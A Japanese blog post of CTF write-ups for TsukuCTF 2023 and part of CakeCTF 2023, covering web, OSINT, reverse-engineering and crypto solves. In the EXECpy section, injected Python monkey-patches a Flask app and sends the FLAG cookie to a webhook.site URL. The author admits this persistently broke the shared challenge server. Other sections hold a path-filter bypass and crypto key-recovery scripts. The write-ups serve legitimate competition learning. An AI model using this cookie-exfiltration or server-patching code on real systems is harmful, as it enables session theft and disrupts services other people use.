チョコラスクのブログ

野生のコラッタです。

TsukuCTF 2023 writeup

TsukuCTF 2023 にチームぽんぽんぺいんで参加しました。

私は、OSINT以外を全部と、OSINTもたくさん解くことができました。

EXECpyで問題サーバーを破壊してしまうというアクシデントもありましたが楽しかったです。

[web] basic

保護されていない通信ではパスワードはまる見えダゾ!
e.g. パスワードが Passw0rd! の場合、フラグは TsukuCTF23{Passw0rd!} となります。

pcapファイル basic.pcapng が与えられます。

問題名からBasic認証の通信だと推測できます。実際、次のように認証情報のbase64を送信している箇所が見つかります。

YWRtaW46MjkyOWIwdTQ=base64デコードすると admin:2929b0u4 となるので、パスワードは 2929b0u4 とわかります。

フラグ:TsukuCTF23{2929b0u4}

[web] MEMOwow

素晴らしいメモアプリを作ったよ。
覚える情報量が増えているって???

メモの読み書き機能があるwebアプリケーションとそのソースコードが与えられます。メインのソースコード app.py は次のようになっていて、フラグは ./memo/flag にあります。

import base64
import secrets
import urllib.parse
from flask import Flask, render_template, request, session, redirect, url_for, abort

SECRET_KEY = secrets.token_bytes(32)

app = Flask(__name__)
app.secret_key = SECRET_KEY


@app.route("/", methods=["GET"])
def index():
    if not "memo" in session:
        session["memo"] = [b"Tsukushi"]
    return render_template("index.html")


@app.route("/write", methods=["GET"])
def write_get():
    if not "memo" in session:
        return redirect(url_for("index"))
    return render_template("write_get.html")


@app.route("/read", methods=["GET"])
def read_get():
    if not "memo" in session:
        return redirect(url_for("index"))
    return render_template("read_get.html")


@app.route("/write", methods=["POST"])
def write_post():
    if not "memo" in session:
        return redirect(url_for("index"))
    memo = urllib.parse.unquote_to_bytes(request.get_data()[8:256])
    if len(memo) < 8:
        return abort(403, "これくらいの長さは記憶してください。👻")
    try:
        session["memo"].append(memo)
        if len(session["memo"]) > 5:
            session["memo"].pop(0)
        session.modified = True
        filename = base64.b64encode(memo).decode()
        with open(f"./memo/{filename}", "wb+") as f:
            f.write(memo)
    except:
        return abort(403, "エラーが発生しました。👻")
    return render_template("write_post.html", id=filename)


@app.route("/read", methods=["POST"])
def read_post():
    if not "memo" in session:
        return redirect(url_for("index"))
    filename = urllib.parse.unquote_to_bytes(request.get_data()[7:]).replace(b"=", b"")
    filename = filename + b"=" * (-len(filename) % 4)
    if (
        (b"." in filename.lower())
        or (b"flag" in filename.lower())
        or (len(filename) < 8 * 1.33)
    ):
        return abort(403, "不正なメモIDです。👻")
    try:
        filename = base64.b64decode(filename)
        if filename not in session["memo"]:
            return abort(403, "メモが見つかりません。👻")
        filename = base64.b64encode(filename).decode()
        with open(f"./memo/{filename}", "rb") as f:
            memo = f.read()
    except:
        return abort(403, "エラーが発生しました。👻")
    return render_template("read_post.html", id=filename, memo=memo.decode())


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

read では、入力 filenamebase64デコードし、session に含まれていることを確認した後、base64エンコードしてから ./memo/{filename} を読むということをしています。また、入力は .flag を含んではならず、11文字以上という制約があります。

まず、/base64の文字なので、11文字以上という制約は ////////flag で回避できそうです。

次に flag を含めない制約について、base64デコードが変な挙動をするという問題を他のCTFで見たことがあったので、flag を含まないが、base64デコードしてエンコードし直すと ////////flag のようになるケースがありそうだと思いました。適当に探索すると、////////fla|g===////////flag などが見つかりました。これで回避できます。

import base64
for i in range(8, 12):
    for c in range(128):
        for c2 in range(128):
            try:
                s = b'/'*i + b'fla' + bytes([c,c2])
                s += b'=' * (-len(s) % 4)
                t = base64.b64encode(base64.b64decode(s))
                if t[-4:] == b'flag':
                    print(s, t)
            except:
                continue

最後に session の問題について、writebase64.b64decode("////////fla|g===") を書き込めば session に追加されそうです。flag ファイルの中身が書き変わってしまうのではと思っていたのですが、試してみると flag ファイルへの書き込みは権限がなくて失敗することがわかり、うまくいきました。

まとめると、writebase64.b64decode("////////fla|g===") を書き込んだあと、read////////fla|g=== を読むことでフラグが得られます。

フラグ:TsukuCTF23{b45364_50m371m35_3xh1b175_my573r10u5_b3h4v10r}

[web] EXECpy

問題と解法

RCEがめんどくさい?
データをexecに渡しといたからRCE2XSSしてね!

Pythonのコードを実行してくれるwebアプリケーション、クローラー、そのソースコードが与えられます。メインのアプリのソースコード app.py は次のようになっています。

from flask import Flask, render_template, request

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
    code = request.args.get("code")
    if not code:
        return render_template("index.html")

    try:
        exec(code)
    except:
        pass

    return render_template("result.html")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31416)

任意のコードを実行してくれますが、実行させたコードによらず固定の result.html をレスポンスするように見えます。

クローラーソースコード capp.py は次のようになっています。

import os
import asyncio
from playwright.async_api import async_playwright
from flask import Flask, render_template, request

app = Flask(__name__)

DOMAIN = "nginx"
FLAG = os.environ.get("FLAG", "TsukuCTF23{**********REDACTED**********}")


@app.route("/crawler", methods=["GET"])
def index_get():
    return render_template("index_get.html")


async def crawl(url):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        page = await browser.new_page()

        try:
            response = await page.goto(url, timeout=5000)
            header = await response.header_value("Server")
            content = await page.content()

            if ("Tsukushi/2.94" in header) and ("🤪" not in content):
                await page.context.add_cookies(
                    [{"name": "FLAG", "value": FLAG, "domain": DOMAIN, "path": "/"}]
                )
                if url.startswith(f"http://{DOMAIN}/?code=") or url.startswith(
                    f"https://{DOMAIN}/?code="
                ):
                    await page.goto(url, timeout=5000)
        except:
            pass

        await browser.close()


@app.route("/crawler", methods=["POST"])
def index_post():
    asyncio.run(
        crawl(
            request.form.get("url").replace(
                "http://localhost:31416/", f"http://{DOMAIN}/", 1
            )
        )
    )
    return render_template("index_post.html")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31417)

クローラーhttp://nginx/?code= で始まるURLにアクセスし、レスポンスにヘッダー Server: Tsukushi/2.94 が含まれていて 🤪 を含まなければ、同じURLにフラグをCookieとして送信してくれるようです。

フラグを送信させることができれば、execCookieを自分のサーバー (https://webhook.siteを使いました) に送信するコードを食わせることでフラグを得られます。

メインのアプリに、ヘッダー Server: Tsukushi/2.94 を含んで 🤪 を含まないレスポンスを返させる必要がありそうです。index 関数の戻り値がレスポンスのようなので、これを書き換えたいですが、単に execreturn を食わせて戻り値を書き換えることはできないようです (Pythonのドキュメント)。

ここで、戻り値は render_template("result.html") となっているので、render_template 関数を書き換えて戻り値を変えられそうなことに気づきました。しかし、単に次のようなコードを食わせるだけでは書き換わりませんでした (グローバル関数と関数内関数は別物判定になるため?)。

def render_template(filename):
    from flask import make_response
    response = make_response("hacked!")
    response.headers['Server'] = "Tsukushi/2.94"
    return response

そこで global render_template をつけてみたところ、うまく書き換わりました。global render_template をつけると、render_template の変更がそのレスポンスだけに限らず永続化してしまい、たぶん他の人がアクセスしても hacked! が返るまずい状況になります (問題サーバーを壊してから気づきました...) が、直後に render_template を元に戻すコードを投げることでたぶん直せていそうでした。

flag = request.cookies.get('FLAG', None)
import urllib
if flag:
    get_req = urllib.request.Request(f"https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/?flag={flag}")
    urllib.request.urlopen(get_req)
global render_template, render_template_orig
render_template_orig = render_template
def render_template(filename):
    from flask import make_response
    response = make_response("hacked!")
    response.headers['Server'] = "Tsukushi/2.94"
    return response

元に戻すコード

global render_template, render_template_orig
render_template = render_template_orig

フラグ:TsukuCTF23{175_4_73rr1bl3_4774ck_70_1n73rrup7_h77p}

問題サーバーを破壊した話

最初、global render_template をつけるのをローカルで試したところ、サーバーエラーが返ったり*1、思い通りのレスポンスは返るがフラグは降ってこなかったりという謎の挙動になりました。謎だったので問題サーバーでもガチャガチャ試していると、自宅のとも問題サーバーのとも違うIPアドレスからflag?が来ました。

え?、と思いながらも一応スコアサーバーに提出しました (カス) が当然通らず、問題サーバーを壊しているぞというSatokiさんからのメッセージだと気づきました。

バグった render_template に書き換えてサーバーエラーを起こすコードを20分間くらい投げ続けていた気がします。すみません...。

[osint] eruption

つくしくんは旅行に行ったときに噴火を見ました。噴火の瞬間を実際に見たのは初めてでしたが、見た日付を覚えていません。
つくしくんが噴火を見た日付を写真の撮影日から特定して教えてください。
撮影場所が日本なのでタイムゾーンはJSTです。フラグの形式は TsukuCTF23{YYYY/MM/DD} です。

Google Lensに投げると、とてもよく似た写真が載っているブログ記事が見つかりました。

この記事に書かれているイベントの開催日 2022年1月26日(水)~28日(金) を試すと正解でした。

フラグ:TsukuCTF23{2022/01/28}

[osint] TrainWindow

夏、騒音、車窓にて。

フラグのフォーマットは、TsukuCTF23{緯度_経度}です。
緯度経度は小数第五位を切り捨てとします。

Google Lensに投げると、奥に見える海辺の建物などが似ている写真の載ったブログ記事が見つかりました。

伊東線伊豆多賀付近のようなので、Googleマップで周辺を確認すると、写真に写っている「TTC」が見つかりました。

さらに、奥に見える海辺の建物は「エンゼルシーサイド南熱海」、目の前の建物は「カーサマリーナ上多賀」であることがわかり、解けました。

フラグ:TsukuCTF23{35.0640_139.0664}

[osint] Yuki

雪、無音、窓辺にて。

フラグのフォーマットは、TsukuCTF23{緯度_経度}です。
緯度経度は小数第四位を切り捨てとします(精度に注意)。

Google Lensに投げ、手前の椅子を含まないように調節すると、定山渓ビューホテル宿泊記が見つかりました。

この記事内のラウンジの写真に同じ形の椅子が見つかります。Googleマップで「カフェ サンリバー(定山渓ビューホテル内)」の座標が答えでした。

フラグ:TsukuCTF23{42.968_141.167}

[osint] free_rider

https://www.fnn.jp/articles/-/608001
私はこのユーチューバーが本当に許せません!
この動画を見たいので、元のYouTubeのURLを教えてください。
また、一番上の画像(「非難が殺到」を含む)の再生位置で指定してください。
フラグフォーマットは、TsukuCTF23{https://www.youtube.com/watch?v=**REDACTED**&t=**REDACTED**s}

「youtuber 新幹線無賃乗車」で検索すると他のニュース記事が見つかり、YouTuberの名前が「Fidias」であることがわかります。

Twitterで「Fidias shinkansen」と検索すると、元のYouTubeのURLが貼られたツイートが見つかりました。元の動画は削除されていました。

さらに、YouTubeで「フィディアス」と検索すると、再アップロードされた動画が見つかり、再生位置は2分56秒であることがわかりました。

フラグ:TsukuCTF23{https://www.youtube.com/watch?v=Dg_TKW3sS1U&t=176s}

[osint] river

弟のたくしから、「ボールが川で流されちゃった」と写真と共に、連絡がきた。
この場所はどこだ?
Flagフォーマットは TsukuCTF23{緯度_経度} です。
端数は少数第5位を切り捨てて小数点以下第4位の精度で回答してください。

「newgin専用駐車場」が見えます。ニューギンはパチンコのメーカーらしいです。直営店は1つしかないらしく、何の駐車場なんだろうと思いましたが、会社概要に載っている営業所を1つずつGoogleストリートビューで見ていくと、「鹿児島営業所」が当たりでした。

フラグ:TsukuCTF23{31.5757_130.5533}

[osint] broken display

表示が壊れているサイネージって、写真を撮りたくなりますよね!
正しく表示されているときに書かれている施設名を見つけて提出してください!
フラグ形式: TsukuCTF23{◯◯◯◯◯◯◯◯IYA_◯◯◯◯◯◯S}

ディスプレイにL'OCCITANEの文字が写っていることをチームメンバーが見つけていましたが、店舗リストにIYAで終わる建物名は無くて困りました。

後ろから4文字目はMに見えるなあと考えていると、建物名ではなく地名かもしれないこと、MIYAで終わる11文字の地名といえば西宮*2だということを思いつきました。

ロクシタンの店舗リストにある「西宮阪急」はSで終わらないですが、向かいの建物の看板が映っているなどもありうるかと思いGoogleマップで確認したところ、「阪急西宮ガーデンズ」が見つかりました。

フラグ:TsukuCTF23{NISHINOMIYA_GARDENS}

[osint] stickers

この画像が撮影された場所を教えてください!
Flagフォーマットは TsukuCTF23{緯度_経度} です。
ただし、小数点4桁の精度で答えてください。

黄色い車は熱海プリンのプリンカーであることをチームメンバーが見つけていました。

チームメンバーが見つけてくれたブログ記事を読むと、「熱海プリンカフェ2nd」の近くの駐車場にプリンカーがあったと書かれています。

この駐車場を探します。「珈琲SUN」が見えるので、「熱海 珈琲 sun」で検索すると「サンバード」という喫茶店とわかります。Googleストリートビューで周辺を探すと駐車場が見つかり、写真の場所もありました。

フラグ:TsukuCTF23{35.0966_139.0747}

[osint] flower_bed

花壇の先にQRコードのキューブがあるようですね。友人曰く、モニュメントの近くに配置されているものらしいです。
こちらのQRコードが示すURLを教えてください! リダイレクト前のURLでお願いします!

Flagの形式は TsukuCTF23{URL} です。例えば、https://sechack365.nict.go.jp がURLなら、 TsukuCTF23{https://sechack365.nict.go.jp} が答えになります。

QRコードの周りの英語を検索すると、「The Previous Fukuoka Prefectural Civic Hall and Honorary Guest House(旧福岡県公会堂貴賓館)Official Site」と書かれていそうなことがわかります。

旧福岡県公会堂貴賓館のサイトは https://www.fukuokaken-kihinkan.jp ですがこれは不正解でした。

チームメンバーが短縮URLを調べているのを見て、https://www.fukuokaken-kihinkan.jp にリダイレクトされそうなURLでより単純なものとして、www を消したものや、httpshttp に変えたものを試したところ、http が当たりでした。

フラグ:TsukuCTF23{http://www.fukuokaken-kihinkan.jp}

[osint] koi

画像フォルダを漁っていると、鯉のあらいを初めて食べた時の画像が出てきた。
当時のお店を再度訪ね、鯉の洗いを食べたいが電話番号が思い出せない。

誰か、私の代わりにお店を調べ、電話番号を教えてほしい。

記憶では、お店に行く途中で見かけたお皿が使われていた気がする。。。

Flagは電話番号となっており、ハイフンは不要である。
TsukuCTF23{電話番号}

使われている皿が福岡県東峰村の小石原焼であることをチームメンバーが見つけていました。

まず東峰村の飲食店を色々試しましたが全て外れでした。そこで範囲を広げて「鯉料理 福岡」で検索したところ、2ページ目くらいで同じ焼き物が使われている店を見つけました。これが正解でした。

フラグ:TsukuCTF23{0936176250}

[osint] twin

ハッカーは独自に収集した大量の個人情報を、とあるWebサイト上で2023年11月23日に投稿した。
我々はこの投稿IDがKL34A01mであるという情報を得た。ハッカーのGitHubアカウントを特定せよ。

View Hint
このWebサイトは28歳のオランダ人起業家によって2010年代初めに買収されている。

Webサイトはハッカーのフォーラムのようなものだと想像し、「28-year-old Dutch entrepreneur hacker」で検索すると、ニュース記事が見つかり、WebサイトはPastebinであることがわかりました。

Pastebinを見に行くと、同じユーザの他の投稿がありました。これはソースコードのようなので、同じソースコードGitHubにも上がっているのではと思い、GitHubでコードの一部を検索してみると、見つかりました。

フラグ:TsukuCTF23{gemini5612}

[misc] what_os

とある研究所から、昔にシェル操作を行った紙が送られてきた来たんだが、 なんのOSでシェルを操作しているか気になってな。 バージョンの情報などは必要ないから、OSの名前だけを教えてくれないか?

にしても、データとかではなく紙で送られて来たんだ。一体何年前のOSなんだ。。。

送られてきた紙をダウンロードして確認してほしい。

コマンドの実行履歴が書かれたテキストファイル tty.txt が与えられます。

次の部分に着目しました。

# chdir /
# chdir usr
# ls -al
total   10
 41 sdrwr-  9 root    100 Jan  1 00:00:00 .
 41 sdrwr-  9 root    100 Jan  1 00:00:00 ..
 42 sdrwr-  2 root     80 Jan  1 00:00:00 boot
 49 sdrwr-  2 root     60 Jan  1 00:00:00 fort
 54 sdrwr-  2 root     70 Jan  1 00:00:00 jack
 57 sdrwr-  5 ken     120 Jan  1 00:00:00 ken
 59 sdrwr-  2 root    110 Jan  1 00:00:00 lib
 83 sdrwr-  5 root     60 Jan  1 00:00:00 src
 68 sdrwr-  2 root    160 Jan  1 00:00:00 sys
208 sxrwrw  1 root     54 Jan  1 00:00:00 x
# chdir sys
# ls -al
total  325
 68 sdrwr-  2 root    160 Jan  1 00:00:00 .
 41 sdrwr-  9 root    100 Jan  1 00:00:00 ..
 70 sxrwr-  1 root   2192 Jan  1 00:00:00 a.out
 71 l-rwr-  1 root  16448 Jan  1 00:00:00 core
 72 s-rwr-  1 sys    1928 Jan  1 00:00:00 maki.s
 69 lxrwrw  1 root  12636 Jan  1 00:00:00 u0.s
 81 lxrwrw  1 root  18901 Jan  1 00:00:00 u1.s
 80 lxrwrw  1 root  19053 Jan  1 00:00:00 u2.s
 79 lxrwrw  1 root   7037 Jan  1 00:00:00 u3.s
 78 lxrwrw  1 root  13240 Jan  1 00:00:00 u4.s
 77 lxrwrw  1 root   9451 Jan  1 00:00:00 u5.s
 76 lxrwrw  1 root   9819 Jan  1 00:00:00 u6.s
 75 lxrwrw  1 root  16293 Jan  1 00:00:00 u7.s
 74 lxrwrw  1 root  17257 Jan  1 00:00:00 u8.s
 73 lxrwrw  1 root  10784 Jan  1 00:00:00 u9.s
 82 sxrwrw  1 root   1422 Jan  1 00:00:00 ux.s

/usr/sys/maki.s が気になったので、これで検索してみると、GitHubリポジトリにたどり着きました。1st Edition UNIX らしいです。

フラグ:TsukuCTF23{UNIX}

[misc] build_error

怪盗シンボルより、以下の謎とき挑戦状が届いた。

怪盗シンボルだ!

メールに3つのファイルを添付した。
この3つのファイルを同じディレクトリに置き、makeとシェルに入力し実行するとビルドが走るようになっている。

ビルドを行い、標準出力からフラグを入手するのだ!

追記:ソースコードは秘密
怪盗シンボルはせっかちなので、ビルドできるかチェックしているか不安だ。。。 取りあえずチャレンジしてみよう。

FlagフォーマットはTsukuCTF23{n桁の整数}になります。

Makefile, main.o, one.o という3つのファイルが与えられます。

make してみてもエラーになります。main.oone.o はx64のELFバイナリなので、Ghidraでデコンパイルしてみると次のようになります。

undefined8 main(void)

{
  int local_34;
  long local_30;
  long local_28;
  long local_20;
  
  local_30 = 0xc;
  local_28 = 0xb;
  local_20 = 0x4b;
  one_init();
  for (local_34 = 0; local_34 < local_28; local_34 = local_34 + 1) {
    if (local_34 < local_30) {
      local_20 = local_20 + 1;
    }
    if (local_20 < local_34) {
      local_28 = local_28 + 1;
    }
    local_30 = local_30 + 1;
  }
  local_20 = local_20 + local_30 + local_28;
  if (local_20 == c + a + b) {
    printf("flag is %ld\n",local_20);
  }
  else {
    puts("please retry");
  }
  return 0;
}
void one_init(void)

{
  int local_c;
  
  a = 0xc;
  b = 0xb;
  c = 0x4b;
  for (local_c = 0; (ulong)(long)local_c < b; local_c = local_c + 1) {
    if ((ulong)(long)local_c < a) {
      c = c + 1;
    }
    if (c < (ulong)(long)local_c) {
      b = b + 1;
    }
    a = a + 1;
  }
  return;
}

a + b + c がフラグのようです。次のようにPythonで書き直してフラグを求めました。

a = 0xc
b = 0xb
c = 0x4b
for i in range(b):
    if i<a:
        c+=1
    if c<i:
        b+=1
    a+=1
print(a+b+c)

フラグ:TsukuCTF23{120}

[misc] content_sign

どうやら、この画像には署名技術を使っているらしい。この署名技術は、画像に対しての編集を記録することができるらしい。署名技術を特定し、改変前の画像を復元してほしい。 Flag形式はTsukuCTF23{<一個前に署名した人の名前>&<署名した時刻(ISO8601拡張形式)>}です。例えば、一個前に署名した人の名前は「Tsuku」で、署名した時刻が2023/12/09 12:34:56(GMT+0)の場合、フラグはTsukuCTF23{Tsuku&2023-12-09T12:34:45+00:00}です。なお、タイムゾーンはGMT+0を使用してください。

画像ファイル signed_flag.png が与えられます。

binwalkコマンドを試すと証明書のファイルがたくさん見つかったので、opensslコマンドで中身を見てみましたがよくわかりませんでした。

次にstringsコマンドを試しました。

...
stds.schema-org.CreativeWork
xjson{"@context":"https://schema.org","@type":"CreativeWork","author":[{"@type":"Person","name":"TSUKU4_IS_H@CKER"}]}
c2pa.actions
factionkc2pa.openedhmetadata
mreviewRatings
kexplanationy
dcodelc2pa.unknownevalue
my.assertion
TsukuTsukuTsukuTsukuTsukuTsuku
c2pa.hash.data
jexclusions
3dnamenjumbf manifestcalgfsha256dhashX C
c2pa.claim
hdc:titlemTsukuctf_20XXidc:formatiimage/pngjinstanceIDx,xmp:iid:e18e08ca-8259-4226-988e-7ed2f58e1010oclaim_generatorx'CanUseeMe c2patool/0.7.0 c2pa-rs/0.28.3tclaim_generator_info
isignaturex
self#jumbf=c2pa.signaturejassertions
curlx3self#jumbf=c2pa.assertions/c2pa.thumbnail.claim.pngdhashX k
curlx7self#jumbf=c2pa.assertions/stds.schema-org.CreativeWorkdhashX 
curlx'self#jumbf=c2pa.assertions/c2pa.actionsdhashX q
curlx'self#jumbf=c2pa.assertions/my.assertiondhashX 
curlx)self#jumbf=c2pa.assertions/c2pa.hash.datadhashX ]
'calgfsha256
c2pa.signature
itstTokens
20231208130026Z
DigiCert, Inc.1;09
...
stds.schema-org.CreativeWork
pjson{"@context":"https://schema.org","@type":"CreativeWork","author":[{"@type":"Person","name":"tarutaru"}]}
c2pa.actions
factionkc2pa.openedhmetadata
mreviewRatings
kexplanationx?TsukuCTFake23{https://youtu.be/48rz8udZBmQ?si=ljjZsu8XFI8OLWg3}dcodelc2pa.unknownevalue
my.assertion
gany_tagcaaa
c2pa.hash.data
jexclusions
I~dnamenjumbf manifestcalgfsha256dhashX g
c2pa.claim
hdc:titlemTsukuctf_20XXidc:formatiimage/pngjinstanceIDx,xmp:iid:18b17123-cbc9-4328-8aca-b78ea47b3a40oclaim_generatorx'CanUseeMe c2patool/0.7.0 c2pa-rs/0.28.3tclaim_generator_info
isignaturex
self#jumbf=c2pa.signaturejassertions
curlx4self#jumbf=c2pa.assertions/c2pa.thumbnail.claim.jpegdhashX 
curlx*self#jumbf=c2pa.assertions/c2pa.ingredientdhashX #
curlx7self#jumbf=c2pa.assertions/stds.schema-org.CreativeWorkdhashX 
curlx'self#jumbf=c2pa.assertions/c2pa.actionsdhashX 
curlx'self#jumbf=c2pa.assertions/my.assertiondhashX 
curlx)self#jumbf=c2pa.assertions/c2pa.hash.datadhashX 
Th]calgfsha256
c2pa.signature
itstTokens
20231208130125Z
DigiCert, Inc.1;09
...

TSUKU4_IS_H@CKER という名前の人が時刻 20231208130026Z に、tarutaru という名前の人が時刻 20231208130125Z に署名したとエスパーできました。

フラグ:TsukuCTF23{TSUKU4_IS_H@CKER&2023-12-08T13:00:26+00:00}

[rev] title_screen

父は昔プログラマーだったらしい、
しかし、当時開発したソフトのタイトルが思い出せない。
ソフトを起動すると画面にタイトルが表示されるらしいのだが...
残っている開発データからなんとか導き出そう!

※実行結果として予想される表示文字列(記号含む)をフラグとして解答してください。

View Hint
キャラクターは8x8ピクセルを1ブロックとして並べられます。データはMapper0想定でCHR-ROMは8KBです。

character.bmp, main.asm, main.cfg という3つのファイルが与えられます。character.bmp は次のような画像で、main.asmアセンブリのコードです。

問題文にあるキーワード「Mapper0 CHR-ROM アセンブリ」で検索すると、似たアセンブリのコードを含む次の記事が見つかります。M1 Macで作る、ファミコンソフトプログラミング。 アセンブラでハローワールド編

これを見ると、62行目の $07 → 画像の0行7列を読んで H、73行目の $04 → 画像の0行4列を読んで E、という風に表示される文字が決まっていることが推測できます。

そこで、main.asm の次の部分

data:
    .byte   $22, $a4, $39, $26, $39
    .byte   $a4, $55, $79, $bb, $4c
    .byte   $39, $c7, $a4, $d1, $8c

に着目し、character.bmp で2行2列、a行4列、3行9列、... を順に読んでみると Tsukushi_Quest となって、これが答えでした。最後の8行c列は読めない文字ですが、main.asm 内に14という数値が見つかるので、表示文字列の長さは14と推測できました。

フラグ:TsukuCTF23{Tsukushi_Quest}

[crypto] new_cipher_scheme

次のソースコードとその実行結果が与えられます。

from Crypto.Util.number import *
from flag import flag


def magic2(a):
    sum = 0
    for i in range(a):
        sum += i * 2 + 1
    return sum


def magic(p, q, r):
    x = p + q
    for i in range(3):
        x = magic2(x)
    return x % r


m = bytes_to_long(flag.encode())
p = getPrime(512)
q = getPrime(512)
r = getPrime(1024)
n = p * q
e = 65537
c = pow(m, e, n)
s = magic(p, q, r)
print("r:", r)
print("n:", n)
print("e:", e)
print("c:", c)
print("s:", s)

RSA暗号ですが、s = magic(p, q, r) の値が追加で与えられています。

magic2(a) の戻り値は \sum_{i=0}^{a-1}(2i+1)=a^{2} です。よって、s=(p+q)^{8}\bmod{r} です。

p, q は512bit、r は1024bitなので、p+q\lt r です。よって\bmod{r}x^{8}=s を解けば p+q がわかります。さらに p, qx^{2}-(p+q)x+n=0 の解なので、この2次方程式を解くことで p, q が求まり、復号できます。

from output import *
from Crypto.Util.number import *

PR.<x> = PolynomialRing(GF(r))
f = x^8-s
rs = f.roots()
t = int(rs[-1][0])

PR.<x> = PolynomialRing(ZZ)
f = x^2-t*x+n
rs = f.roots()
p = int(rs[0][0])
q = int(rs[1][0])
d = inverse(int(e), int((p-1)*(q-1)))
print(long_to_bytes(pow(int(c), int(d), int(n))))

フラグ:TsukuCTF23{Welcome_to_crypto!}

*1:単にコードがバグっていたせいでした。フラグ送信用の urllib.request と flask.request が被ってなかなか気づけず。

*2:あいみょんの出身地ということでパッと思いついたのですが、実際にあいみょんがこのディスプレイに映っていたのを見つけている人がいてびっくりしました。https://x.com/myaumyau33/status/1733779562939797960?s=20

CakeCTF 2023 writeup

CakeCTF 2023 にチーム BunkyoWesterns で参加し、3位を取ることができました。

私はAVTOKYOとそのafter partyに参加したあと、レッドヌオー*1の状態で残っていたcrypto2問を解きました。

[crypto] Iron Door

次のソースコードが与えられます。

from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes
from hashlib import sha256
import os
import secrets
import signal


def h1(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:40], 16)

def h2(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:50], 16)

# curl https://2ton.com.au/getprimes/random/2048
q = 10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931
p = 2*q + 1

assert isPrime(p)
assert isPrime(q)

g = 3
flag = os.getenv("FLAG", "neko{nanmo_omoi_tsukanai_owari}")
x = getRandomRange(0, q)
y = pow(g, x, p)
salt = secrets.token_bytes(16)


def sign(m: bytes):
    z = h1(m)
    k = inverse(h2(long_to_bytes(x + z)), q)
    r = h2(long_to_bytes(pow(g, k, p)))
    s = (z + x*r) * inverse(k, q) % q
    return r, s


def verify(m: bytes, r: int, s: int):
    z = h1(m)
    sinv = inverse(s, q)
    gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
    r2 = h2(long_to_bytes(gk))
    return r == r2

# integrity check
r, s = sign(salt)
assert verify(salt, r, s)

signal.alarm(1000)


print("salt =", salt.hex())
print("p =", p)
print("g =", g)
print("y =", y)

while True:
    choice = input("[s]ign or [v]erify:").strip()
    if choice == "s":
        print("=== sign ===")
        m = input("m = ").strip().encode()
        if b"goma" in m:
            exit()

        r, s = sign(m + salt)
        # print("r =", r) #  do you really need?
        print("s =", s)

    elif choice == "v":
        print("=== verify ===")
        m = input("m = ").strip().encode()
        r = int(input("r = "))
        s = int(input("s = "))
        assert 0 < r < q
        assert 0 < s < q

        ok = verify(m + salt, r, s)
        if ok and m == b"hirake goma":
            print(flag)
        elif ok:
            print("OK")
            exit()
        else:
            print("NG")
            exit()

    else:
        exit()

DSAが実装されており、goma を含まない好きな文字列の署名を何度でも取得できます。ただし、署名は r, s のうち s の方しか得られません。hirake goma の署名を入力できればフラグが得られます。

q は2047bitですが、k^{-1}, r は200bit、z は160bitと小さいです。これを利用し、LLLアルゴリズムを適用したいです。

以下、k^{-1}k と置きなおすことにします。k は200bitです。署名は次の関係式を満たします。

\displaystyle{
s=kz+krx \pmod{q}
}

x は小さくないので消去することを考えます。異なる2つの文字列の署名 s_{1}, s_{2} を取得し、この関係式から x を消去すると次のようになります。

\displaystyle{
k_{2}r_{2}s_{1}-k_{1}r_{1}s_{2}=k_{2}r_{2}k_{1}z_{1}-k_{1}r_{1}k_{2}z_{2} \pmod{q}
}

k_{1}r_{1}, k_{2}r_{2} は400bit、k_{2}r_{2}k_{1}z_{1}-k_{1}r_{1}k_{2}z_{2} は760bit程度です。400bitの k_{1}r_{1}, k_{2}r_{2} の組は 2^{800} 通りありますが、この中からランダムに選ばれるとすると、 k_{2}r_{2}s_{1}-k_{1}r_{1}s_{2} が760bit以下になる確率は 1/2^{2048-760}=1/2^{1288} 程度になりそうです。よって、この関係式から係数は一意に定まりそうです。

次のような行列に対してLLLアルゴリズムを適用します (結果のベクトルの成分が同じくらいの大きさになるよう、2^{360} 倍の重みをつけています)。

\displaystyle{
\begin{pmatrix}
s_{1} & 2^{360} & 0 \\ 
s_{2} & 0 & 2^{360} \\ 
q & 0 & 0
\end{pmatrix}
}

すると、1行目に次のようなベクトル

\displaystyle{
(k_{2}r_{2}k_{1}z_{1}-k_{1}r_{1}k_{2}z_{2}, 2^{360}k_{2}r_{2}, -2^{360}k_{1}r_{1})
}

が現れることが期待できます。実際は、

\displaystyle{
g=\gcd(k_{2}r_{2}k_{1}z_{1}-k_{1}r_{1}k_{2}z_{2}, k_{2}r_{2}, -k_{1}r_{1})
}

で割ったベクトルが出てくるので、得られたベクトルを何倍かしてみる必要があります (これに気づかずハマりました)。

さらに、k_{1} を何倍かしたものが \gcd(k_{1}r_{1}, k_{2}r_{2}k_{1}z_{1}-k_{1}r_{1}k_{2}z_{2}) に一致することから、k_{1} が求まります。よって、秘密鍵 x が求まり、署名を計算できます。

from Crypto.Util.number import *
from hashlib import sha256
import socket

def recvuntil(client, delim=b'\n'):
    buf = b''
    while delim not in buf:
        buf += client.recv(1)
    return buf

host = 'crypto.2023.cakectf.com'
port = 10321

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))

def h1(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:40], 16) # 160bit

def h2(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:50], 16) # 200bit

